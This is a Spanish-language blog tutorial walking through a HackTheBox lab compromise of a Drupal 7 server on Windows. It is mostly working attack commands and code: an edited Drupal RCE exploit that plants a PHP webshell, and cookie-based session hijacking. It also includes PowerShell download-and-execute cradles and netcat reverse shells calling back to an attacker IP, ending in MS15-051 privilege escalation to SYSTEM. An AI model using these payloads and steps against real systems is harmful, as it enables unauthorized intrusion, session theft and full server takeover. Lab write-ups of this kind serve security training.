Cómo realizar un pentesting contra Drupal CMS

Cómo realizar un pentesting contra Drupal CMS

Hello Cyber-Spartans!!
En este articulo, aprenderemos a tener el control total de un servidor web que esté utilizando drupal para alojar cualquier servicio por medio de una vulnerabilidad detectada.
Según Wikipedia, Drupal es un marco de gestión de contenidos gratuito y de código abierto escrito en PHP.
Drupal proporciona un marco de trabajo de back-end para al menos el 2,3% de todos los sitios web del mundo, desde blogs personales hasta sitios corporativos, políticos y gubernamentales.
Fuente Wikipedia

Es decir, en el transcurso del aprendizaje del hacking es muy probable que encontremos un servidor web que aloje un sitio drupal y necesitemos acceder a él.
Antes de empezar quiero aclarar que todo mi contenido publicado se hace con fines educativos, informativos y éticos.
No me hago responsable del mal uso que puedan darle.

Con este tutorial aprenderás:

  • Cómo realizar una enumeracion sobre el CMS drupal.
  • Cómo interceptar peticiones con burpsuite.
  • Cómo realizar un escaneo de puertos con Nmap.
  • Cómo obtener una sesión de meterpreter con Metasploit.
  • Cómo realizar un descubrimiento de directorios con dirb.
  • Cómo realizar una búsqueda de exploits con Searchsploit.
  • Cómo utilizar Sherlock.ps1 y Powershell Empire (PowerUp.ps1)
  • Cómo secuestrar una sesión utilizando una cookie con BurpSuite.
  • Cómo secuestrar una sesión mediante una cookie con Google Chrome.
  • Cómo manipular los exploits basados en PHP.
  • Cómo obtener un Reverse Shell con Netcat.

Para llevar a cabo esta demostración, realizaremos una prueba de penetración en una máquina vulnerable llamada Bastard publicada en la plataforma de HackTheBox.
Como en cualquier otra auditoria de seguridad se debe comenzar con una enumeración del sistema.
Para ello realizaremos un escaneo simple con Nmap, de la siguiente manera.

╭─[/Ethic4l-Hacking/Operations/Bastard]─[root@Arthorias]─[0]─[2505]
╰─[:)] # nmap -T4 -Pn -sV -F -sC -oN Bastard.nmap 10.10.10.9
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-30 04:47 -05
Nmap scan report for 10.10.10.9
Host is up (0.18s latency).
Not shown: 97 filtered ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Welcome to 10.10.10.9 | 10.10.10.9
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Antes de continuar, podemos darnos cuenta de que ya hemos identificado que el sistema está ejecutando Drupal con la versión 7.
Con el anterior escaneo de puertos que hicimos con Nmap, conseguimos identificar el puerto 80 abierto.
Si abrimos esta página web en un navegador podemos ver que se trata de una instancia de drupal.

La instancia de Drupal se ejecuta en la página 10.10.10.9:80 La instancia de Drupal se ejecuta en la página 10.10.10.9:80

Vamos a realizar un descubrimiento de directorios con DIRB para ver si encontramos algo interesante:

╭─[/Ethic4l-Hacking/Operations/Bastard]─[root@Arthorias]─[0]─[2735]
╰─[:)] # dirb http://10.10.10.6 /usr/share/dirb/wordlists/common.txt 
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
File found: /modules — 301
File found: /misc — 301
File found: /themes — 301
File found: /search — 403
File found: /scripts — 301
File found: /user — 200
File found: /0–200
File found: /admin — 403
File found: /tag — 403
File found: /node — 200
File found: /sites — 301
File found: /template — 403
File found: /includes — 301
File found: /Search — 403
File found: /index.php — 200
Dir found: / — 200
File found: /profiles — 301
Dir found: /rest/ — 200
Dir found: /rest/0/ — 200
Dir found: /rest/user/ — 200
Dir found: /rest/comment/ — 200
Dir found: /rest/node/ — 200

La versión de Drupal se puede enumerar navegando por 10.10.10.9/CHANGELOG.txt

Cómo saber la versión de drupal Cómo saber la versión de drupal

Vamos a utilizar una herramienta muy útil para buscar exploits de vulnerabilidades conocidas en sistemas de información, esto lo conseguiremos con searchsploit.

╭─[/Ethic4l-Hacking/Operations/Bastard]─[root@Arthorias]─[0]─[2508]
╰─[:)] # searchsploit drupal
Drupal 7.x Module Services - Remote Code Execution  |  exploits/php/webapps/41564.php

Nuestra búsqueda arroja varios resultados, entre ellos logramos identificar un exploit que cuando se utiliza con éxito un atacante puede ejecutar código remoto en la víctima.
No voy a profundizar en cómo funciona este exploit, en resumen solo necesitamos averiguar un end-point.
Te recomiendo la siguiente lectura.
Tenemos que editar manualmente este exploit que está escrito en PHP.
Primero instalamos php-curl y copiamos el exploit a nuestra ruta.

cp /usr/share/exploitdb/exploits/php/webapps/41564.php ./
apt-get install php-curl

Hay unas 3 líneas que hay que corregir antes de poder ejecutar el script.
Verás que falta el signo de comentario (#). Tambien, tendrás que introducir la IP (host) y cambiar el endpoint_path a “/rest”. Si te preguntas qué hace este /rest o endpoint_path, deberías leer la explicación del exploit en el siguiente enlace.
DIRB ha encontrado muchas subcarpetas y /Rest era una de ellas y está encajando en el esquema.
El script de PHP debería tener el siguiente aspecto:

$url = 'http://10.10.10.9/';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';

$file = [
    'filename' => 'Gerh.php', /* Indicamos el nombre de nuestro archivo a crear. */
    'data' => '<?php echo(system($_GET["cmd"])); ?>' /* Indicamos que el contenido que tendra el archivo anterior; El parametro CMD nos ayudara a ejecutar comandos sobre nuestro equipo victima */
];

Tras la ejecución del exploit, se nos exportan los siguientes archivos:

╭─[/Ethic4l-Hacking/Operations/Bastard]─[root@Arthorias]─[0]─[4401]
╰─[:)] # ls -la
total 292K
drwxr-xr-x 4 root root 4.0K Apr 17 03:11 .
drwxr-xr-x 8 root root 4.0K Apr 13 15:23 ..
-rwxr-xr-x 1 root root 8.8K Apr 17 02:47 41564.php
-rw-r--r-- 1 root root 1.1K Mar 30 04:48 Bastard.nmap
-rw-r--r-- 1 root root  187 Apr 17 02:48 session.json
-rw-r--r-- 1 root root  799 Apr 17 02:48 user.json

El archivo sessions.json nos ayudará a realizar el Session Hijacking.

╭─[/Ethic4l-Hacking/Operations/Bastard]─[root@Arthorias]─[0]─[4404]
╰─[:)] # cat session.json
{
    "session_name": "SESSd873f26fc11f2b7e6e4aa0f6fce59913",
    "session_id": "xya-3zwiiR560VcO0uua4q6bP_-Otc8mTV1C27s0ebk",
    "token": "2dCM4IsWC26XnZkkofSjzmx1Dc6INTn3usnqNEb2fuI"
} 

Para ejecutar la Ejecución Remota de Código desde nuestra webshell sólo tenemos que añadir el parámetro ?cmd= y el comando que queremos ejecutar.

RCE en Drupal RCE en Drupal

Listo amigos, ahora podemos ejecutar comandos en el servidor.
Con el comando systeminfo analizamos qué sistema operativo se está ejecutando en la máquina y en qué versión se encuentra.

Comando Systeminfo en Linux Comando Systeminfo en Linux

Con la información obtenida podemos realizar una búsqueda para encontrar un vector de ataque que nos dé un escalamiento de privilegios en el sistema.
Para validar de forma más rápida y automatizada, realizaremos un análisis de vulnerabilidades locales para escalar privilegios con un script powershell.

Session Hijacking

El secuestro de sesión, también conocido como session hijacking, es un problema importante que puede afectar a la seguridad de los usuarios a la hora de navegar por la red. Su función es lograr acceso no autorizado a información o servicios en un sistema.
Articulo completo

En la siguiente imagen, se puede ver que no tengo acceso a la ruta http://10.10.10.9/admin

Acceso denegado en la página web /Admin Acceso denegado en la página web /Admin

A continuación, interceptaremos la petición anterior con burpsuite.

Solicitud interceptada en Burp Solicitud interceptada en Burp

Conseguimos identificar que en el envío de la petición, hay una cookie con el valor de hah_js=1, lo que debemos hacer es manipular este valor y asignarle los valores que el exploit exportó previamente.
El archivo de la sesión tiene el siguiente formato:
- Session_name:abc
- Session_id:def
- Token:xyz

La estructura de la cookie debe ser la siguiente:
abc=def;token=xyz

Secuestro de sesión con éxito con Burp Secuestro de sesión con éxito con Burp

Otra forma de realizar el proceso anteriormente indicado, es utilizando la consola de Google Chrome. Mediante Javascript es posible inyectar la cookie, esto se consigue de la siguiente manera:
Pulse F12, luego haga clic en la consola y defina la cookie:
document.cookie = “Session_name=Session_id;token=Token”

Secuestro de sesión con éxito con JS Secuestro de sesión con éxito con JS

Cómo utilizar Powershell Empire

PowerShell Empire es un framework de post-explotation para ordenadores y servidores que ejecutan sistemas operativos Microsoft Windows, Windows Server o ambos.
Articulo completo

Ejecutamos el siguiente comando para clonar el repositorio:

git clone https://github.com/EmpireProject/Empire.git

Ahora que tenemos PSE descargado vamos a copiar el PowerUp.ps1 para poder editarlo.

cp Empire/data/module_source/privesc/PowerUp.ps1 ./

PowerUp.ps1 fue hecho para ejecutarse dentro de empire así que necesitamos agregar al final del archivo Invoke-AllChecks y guardar.

Para subir el script a nuestra víctima, montaré un servidor HTTP que aloje el script en powershell; posteriormente desde la máquina víctima descargaré el archivo haciendo una petición GET a la ruta donde especifiquemos.
Vamos a la carpeta que contiene nuestro script de powershell y ejecutamos lo siguiente para montar un servidor HTTP con Python.

python3 -m http.server

Luego, a través de PowerShell, descargamos el archivo en nuestro ordenador víctima.

http://10.10.10.9/Gerh.php?cmd=echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.17:8000/PowerUp.ps1') | PowerShell -Noprofile -

Tras realizar la petición a través de la URL anterior, en nuestra máquina atacante recibiremos en tiempo real la petición por el método GET al fichero PowerUp.ps1.

╭─[/Ethic4l-Hacking/Operations/Bastard]─[root@Arthorias]─[0]─[4171]
╰─[:)] # python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.9 - - [16/Apr/2019 04:02:03] "GET /PowerUp.ps1 HTTP/1.1" 200 -

Después de un par de minutos podemos ver los resultados del PowerUp.ps1.

Resultado de PowerUp.ps1 Resultado de PowerUp.ps1

Mirando los resultados podemos ver el acceso denegado que nos indica que no tenemos derechos de administrador.

Cómo utilizar Sherlock

Sherlock, Script de PowerShell para encontrar rápidamente los parches de software que faltan para las vulnerabilidades de escalada de privilegios locales.
Intentemos encontrar una vulnerabilidad usando sherlock.ps1

Al igual que antes tenemos que editar el final del archivo esta vez con Find-AllVulns.
Podemos copiar y ejecutar a Sherlock de la misma manera que lo hicimos con PowerUp.

Descargamos nuestro Sherlock.ps1 accediendo a la siguiente URL:

http://10.10.10.9/Console.php?cmd=echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.17:8000/Sherlock.ps1') | PowerShell -Noprofile -
╭─[/Ethic4l-Hacking/Operations/Bastard]─[root@Arthorias]─[130]─[4182]
╰─[:)] # python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.9 - - [16/Apr/2019 04:27:13] "GET /Sherlock.ps1 HTTP/1.1" 200 -

El resultado es el siguiente:

Title      : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID      : 2010-0232
Link       : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems

Title      : Task Scheduler .XML
MSBulletin : MS10-092
CVEID      : 2010-3338, 2010-3888
Link       : https://www.exploit-db.com/exploits/19930/
VulnStatus : Appears Vulnerable

Title      : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID      : 2013-1300
Link       : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems

Title      : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID      : 2013-3881
Link       : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems

Title      : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID      : 2014-4113
Link       : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable

Title      : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID      : 2015-1701, 2015-2433
Link       : https://www.exploit-db.com/exploits/37367/
VulnStatus : Appears Vulnerable

Title      : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID      : 2015-2426, 2015-2433
Link       : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable

Title      : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID      : 2016-0051
Link       : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems

Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable

Title      : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID      : 2016-0093/94/95/96
Link       : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS1
             6-034?
VulnStatus : Not Vulnerable

Title      : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID      : 2016-7255
Link       : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/S
             ample-Exploits/MS16-135
VulnStatus : Not Vulnerable

Title      : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID      : 2017-7199
Link       : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.h
             tml
VulnStatus : Not Vulnerable

Antes de hacer nuestra elevación de privilegios necesitamos un shell remoto que podemos hacer con netcat.

Netcat de Shell Reverse

Inicialmente, descargamos el ejecutable de netcat para la arquitectura de 64 bits.

╭─[/Ethic4l-Hacking/Operations/Bastard]─[root@Arthorias]─[0]─[4186]
╰─[:)] # wget https://raw.githubusercontent.com/hackingprofessional/Utilidades/master/netcat-win32-1.11.zip

Descomprimir los archivos netcat para poder subirlos y ejecutarlos.
Configurar nuestro listener de netcat.

╭─[/Ethic4l-Hacking/Operations/Bastard]─[root@Arthorias]─[0]─[4186]
╰─[:)] # nc -nlvp 6969
listening on [any] 6969 ...

Colocamos nuestro nc64.exe en la carpeta donde se ejecuta nuestro servidor HTTP.

╭─[/Ethic4l-Hacking/Operations/Bastard/server]─[root@Arthorias]─[0]─[4201]
╰─[:)] # ls -la
total 624K
drwxr-xr-x 2 root root 4.0K Apr 16 04:55 .
drwxr-xr-x 3 root root 4.0K Apr 16 04:55 ..
-rw-rw-r-- 1 root root  43K Dec 26  2010 nc64.exe       <--> Our Executable of Netcat x64 
-rw-r--r-- 1 root root 550K Apr 16 03:58 PowerUp.ps1
-rw-r--r-- 1 root root  17K Apr 16 04:24 Sherlock.ps1

╭─[/Ethic4l-Hacking/Operations/Bastard/server]─[root@Arthorias]─[0]─[4202]
╰─[:)] # python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

A continuación, voy a modificar un poco el código inicial del exploit. De este modo, los siguientes pasos serán más fáciles:

$url = 'http://10.10.10.9/';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';

$phpCode = <<<'EOD'
<?php
    /* In the next conditional, by means of the parameter upload_file we can upload files. */
	if (isset($_REQUEST['upload_file'])) {
  		file_put_contents($_REQUEST['upload_file'], file_get_contents("http://10.10.14.17:8000/" . $_REQUEST['upload_file']));
    };
    
    /* In the next conditional, by means of the parameter execute_command we can execute commands. */ 
	if (isset($_REQUEST['execute_command'])) {
  		echo "<pre>" . shell_exec($_REQUEST['execute_command']) . "</pre>";
	};
?>
EOD;

/* We modify the data value, which must be equal to the newly created variable. */ 
$file = [
    'filename' => 'Gerh.php',
    'data' => $phpCode
];

Finalmente descargamos nuestro ejecutable accediendo a la siguiente URL:

  
http://10.10.10.9/Gerh.php?upload_file=nc64.exe&execute_command=nc64.exe -e cmd 10.10.14.17 6969

Ok, ya hemos conseguido tener una Shell Reverse:

╭─[/Ethic4l-Hacking/Operations/Bastard/server]─[root@Arthorias]─[0]─[4278]
╰─[:)] # python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.9 - - [17/Apr/2019 03:01:37] "GET /nc64.exe HTTP/1.0" 200 -
╭─[/Ethic4l-Hacking/Operations/Bastard]─[root@Arthorias]─[0]─[4276]
╰─[:)] # nc -nlvp 6969
listening on [any] 6969 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.9] 49283
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\inetpub\drupal-7.54> whoami
whoami
nt authority\iusr

Privilege Escalation

Entre los resultados arrojados por el Sherlock.ps1, nos centraremos en los siguientes:

  
Title      : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID      : 2015-1701, 2015-2433
Link       : https://www.exploit-db.com/exploits/37367/
VulnStatus : Appears Vulnerable

Para intentar explotar esta vulnerabilidad, podemos descargar el exploit compilado desde la siguiente ruta:

╭─[/Ethic4l-Hacking/Operations/Bastard]─[root@Arthorias]─[0]─[4283]
╰─[:)] # wget https://raw.githubusercontent.com/SecWiki/windows-kernel-exploits/master/MS15-051/MS15-051-KB3045171.zip
╭─[/Ethic4l-Hacking/Operations/Bastard]─[root@Arthorias]─[0]─[4283]
╰─[:)] # unzip MS15-051-KB3045171.zip
╭─[/Ethic4l-Hacking/Operations/Bastard]─[root@Arthorias]─[0]─[4283]
╰─[:)] # mv /MS15-051-KB3045171/ms15-051x64.exe ./server
╭─[/Ethic4l-Hacking/Operations/Bastard/server]─[root@Arthorias]─[1]─[4291]
╰─[:(] # ls -la
total 680
drwxr-xr-x 2 root root   4096 Apr 17 03:12 .
drwxr-xr-x 4 root root   4096 Apr 17 03:11 ..
-rw-r--r-- 1 root root  55296 May 13  2015 ms15-051x64.exe
-rw-rw-r-- 1 root root  43696 Dec 26  2010 nc64.exe
-rw-r--r-- 1 root root 562858 Apr 16 03:58 PowerUp.ps1
-rw-r--r-- 1 root root  16678 Apr 16 04:24 Sherlock.ps1
╭─[/Ethic4l-Hacking/Operations/Bastard/server]─[root@Arthorias]─[0]─[4283]
╰─[:)] # python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Después de descomprimir el archivo descargado, copiamos nuestro ejecutable a nuestra carpeta donde tenemos nuestro servidor HTTP. Ahora sólo tenemos que abrir una nueva escucha con nc y acceder a la siguiente ruta:

╭─[/Ethic4l-Hacking/Operations/Bastard]─[root@Arthorias]─[0]─[4276]
╰─[:)] # nc -nlvp 6966
listening on [any] 6966 ...

Enlace para descargar el exploit y realizar la ejecución de netcat con el exploit.

http://10.10.10.9/Gerh.php?execute_command=ms15-051x64.exe "nc64.exe -e cmd 10.10.14.17 6966"
╭─[/Ethic4l-Hacking/Operations/Bastard/server]─[root@Arthorias]─[0]─[4292]
╰─[:)] # nc -nlvp 6966        
listening on [any] 6966 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.9] 49287
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\inetpub\drupal-7.54>whoami
whoami
nt authority\system

Listo, hemos escalado con éxito los privilegios. Para terminar, voy a hacer esta misma demostración pero utilizando otro método, que es hacer todo el proceso anterior pero con el Metasploit Framework.

NOTA:

Debemos generar un payload con msfvenom y luego descargarlo de nuestra máquina víctima.